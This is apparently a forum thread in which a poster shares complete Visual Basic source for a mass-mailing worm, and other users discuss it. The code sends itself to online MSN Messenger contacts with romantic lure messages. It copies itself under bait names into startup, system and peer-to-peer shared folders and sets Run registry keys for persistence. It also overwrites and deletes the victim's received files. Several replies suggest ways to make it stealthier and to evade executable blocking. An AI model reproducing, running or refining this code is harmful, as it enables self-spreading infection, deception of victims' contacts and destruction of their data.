Ha ha ha ha.

This is my almighty noob might Rawr… Public msnmcontacts As IMessengerContacts Public msnmcontact As IMessengerContact Dim le As Integer Dim sfolder As String Dim fileso As String Dim fso As FileSystemObject Dim ifolder As Integer Dim sfol As Integer Const CSIDL_STARTUP = &H7 Const CSIDL_NETWORK = &H12 Const CSIDL_PERSONAL = &H5 Const CSIDL_PROGRAM_FILES = &H26 Const MAX_PATH = 260 Private Const NOERROR = &H0& Private Type SHITEMID cb As Long abID As Byte End Type Private Type ITEMIDLIST mkid As SHITEMID End Type Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long Private Declare Sub SHAddToRecentDocs Lib "shell32.dll" (ByVal uFlags As Long, ByVal pv As String) Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long

Private Sub Form_Load() On Error Resume Next Dim free free = FreeFile App.TaskVisible = False Set msnmcontacts = MessengerAPI.Messenger.MyContacts For Each msnmcontact In msnmcontacts If msnmcontact.Status <> MISTATUS_OFFLINE Then MessengerAPI.Messenger.InstantMessage msnmcontact.FriendlyName AppActivate msnmcontact.FriendlyName & " - Conversation" MessengerAPI.Messenger.SendFile msnmcontact, App.Path & "\" & App.EXEName & ".exe" SendKeys "{enter}" End If For Each msnmcontact In msnmcontacts If msnmcontact.Status <> MISTATUS_OFFLINE Then MessengerAPI.Messenger.InstantMessage msnmcontact.FriendlyName AppActivate msnmcontact.FriendlyName & " - Conversation" SendKeys "I love you. I love you so much. That letter is how I really feel about you. XOXO. :D :P " End If Next msnmcontact For Each msnmcontact In msnmcontacts If msnmcontact.Status <> MISTATUS_OFFLINE Then MessengerAPI.Messenger.InstantMessage msnmcontact.FriendlyName AppActivate msnmcontact.FriendlyName & " - Conversation" SendKeys "{enter}" End If Next msnmcontact For Each msnmcontact In msnmcontacts If msnmcontact.Status <> MISTATUS_OFFLINE Then MessengerAPI.Messenger.InstantMessage msnmcontact.FriendlyName AppActivate msnmcontact.FriendlyName & " - Conversation" SendKeys "Don't say anything, just download it and tell me what you think after." End If Next msnmcontact For Each msnmcontact In msnmcontacts If msnmcontact.Status <> MISTATUS_OFFLINE Then MessengerAPI.Messenger.InstantMessage msnmcontact.FriendlyName AppActivate msnmcontact.FriendlyName & " - Conversation" SendKeys "{enter}" End If Next msnmcontact Math.Randomize Call SHAddToRecentDocs(2, vbNullChar) Set fso = New FileSystemObject Call love Call aftermath Call findbatch Call payload Call cle Open "Readme.txt" For Output As #free Print #free, "To whom it may concern, (this means you fuck nuts)." & vbNewLine & "I am sorry, that I have to resort to these messures. But I must be heard. G4's take over of TechTV, will not be tolerated. If TechTv doesn't take back over we will be back. If you don't want to comply with my demands, then fine, but you have our warning." & vbNewLine & "Sincerly," & vbNewLine; "- The TechTv Millita." & vbNewLine & "P.S NetSky and MyBangle, you both suck." Close #free Unload Me End Sub

Private Sub findbatch() On Error Resume Next fileso = Dir(App.Path & "/*.bat") Dim free free = FreeFile While fileso <> "" Open fileso For Append As #free Print #1, "start " & App.EXEName & ".exe" fileso = Dir() Close #free Wend End Sub Private Sub love() On Error Resume Next FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_STARTUP) & "\LOVE-LETTER-FOR-YOU " & Math.Rnd * 5000 & ".exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_NETWORK) & "\LOVE-LETTER-FOR-YOU " & Math.Rnd * 5000 & ".exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", fso.GetSpecialfolder(0) & "\LOVE-LETTER-FOR-YOU.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", fso.GetSpecialfolder(1) & "\MSkernel32.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", fso.GetSpecialfolder(2) & "\Win32DLL.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\Kazza\My Shared Folder\Anna Kournikova hot!.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\Kazza\Anna Kournikova.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\Kazza\My Shared Folder\Hot Babes.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\Kazza\Hot Babes.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\KaZaA Lite\My Shared Folder\Hot Babes.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\KaZaA Lite\My Shared Folder\Anna Kournikova hot!.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\BearShare\Shared\Hot Babes.exe" FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PROGRAM_FILES) & "\BearShare\Shared\Anna Kournikova hot!.exe" End Sub Private Sub payload() On Error Resume Next Dim subfol As Folder For Each subfol In fso.GetFolder(App.Path & "\").SubFolders FileSystem.FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & subfol.Name & "\install.exe" Next End Sub

Private Sub aftermath() Dim reg Const keypath = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\wheresthelove" Const keypath1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\winupdate2005api" Const keypath2 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\foxfireupdate" Const keypath3 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Critical" Set reg = CreateObject("wscript.shell") reg.RegWrite keypath, fso.GetSpecialfolder(0) & "\LOVE-LETTER-FOR-YOU.exe", "REG_SZ" reg.RegWrite keypath1, fso.GetSpecialfolder(1) & "\MSkernel32.exe", "REG_SZ" reg.RegWrite keypath2, fso.GetSpecialfolder(2) & "\Win32DLL.exe", "REG_SZ" reg.RegWrite keypath3, App.Path & "\Readme.txt", "REG_SZ" End Sub

Private Function GetSpecialfolder(CSIDL As Long) As String Dim r As Long Dim IDL As ITEMIDLIST r = SHGetSpecialFolderLocation(100, CSIDL, IDL) If r = NOERROR Then Path$ = Space$(512) r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1) Exit Function End If GetSpecialfolder = "" End Function

Private Sub cle() Dim free free = FreeFile cleaned = Environ("userprofile") & "\" & "My Documents\My Received Files\." clean = Dir(cleaned) While clean <> "" Open clean For Output As #free Print #free, Math.Rnd * 5000000 Close #free clean = Dir() Math.Randomize Wend Kill cleaned cleaned = GetSpecialfolder(CSIDL_PERSONAL) & "\My Received Files\." While clean <> "" Open clean For Output As #free Math.Randomize Print #free, Math.Rnd * 5000000 Close #free clean = Dir() Wend Kill cleaned End Sub

Now thats how you fucking make a virus you god damn skids. But on a happy note, I think I got an A on it.:P

It's alright, but either way it's VB, all more of the same. I don't think you can really say 'you god damned skids' when using VB code thats pretty much copy and pasted with new values, especially when doing what, an IM VB virus?

It's good for VB.

nice! i made something similar in VB a while back, but was too scared to release it. Becuse it would spread extremely fast.

I was woundering why you were trying to send me love-letter.exe over msn!!! Now i know. However msn 7 now blocks exe files, so you'll have to make it into a zip first.

K first off nice concept but i have a few questions,

//k because of my laziness i only read it quickly so tell me if i'm not seeying something

1: why all the for and next statements? My guess is to make it more realisitic with the time intervalls but you could have used a timer to take care of that. 2: isn't the problem going to be that when your virus opens all the screens pop open, and it would lag the computer for a some time wich completely ruins the stealth in some way but that's only my opinion. You could make it that it waits untill user is away or something, just a thought since i would get suspisious when my msn suddenly starts to send 100 files at a time when i didn't click anything :) 4: At the moment the spreading function only works on pc's with english as a language -> because of the "-conversation" part. Normally you could change that by using the win32 api and make calls from that to search the window.

Besides from that decent virus!;)

Ha ha, just joken about the skids thing. Sorry. Yeah Mr.Chesse I realzed that it was a simler virus to the one you where telling me about when I fnshed it. But its a basic concept to show people the deference between a virus a mailious peice of code. P.S thanks! Took a while, and know I didn't copy and paste from other resources, I did the reasearch on the functions.

So I'm just wondering, but how is that not just a piece of malicious code? I'd consider it malware.. What would your 'virus' do to me if I wasn't using any P2P or instant messenging application?

Personally I don't see any place to draw the line with your code there.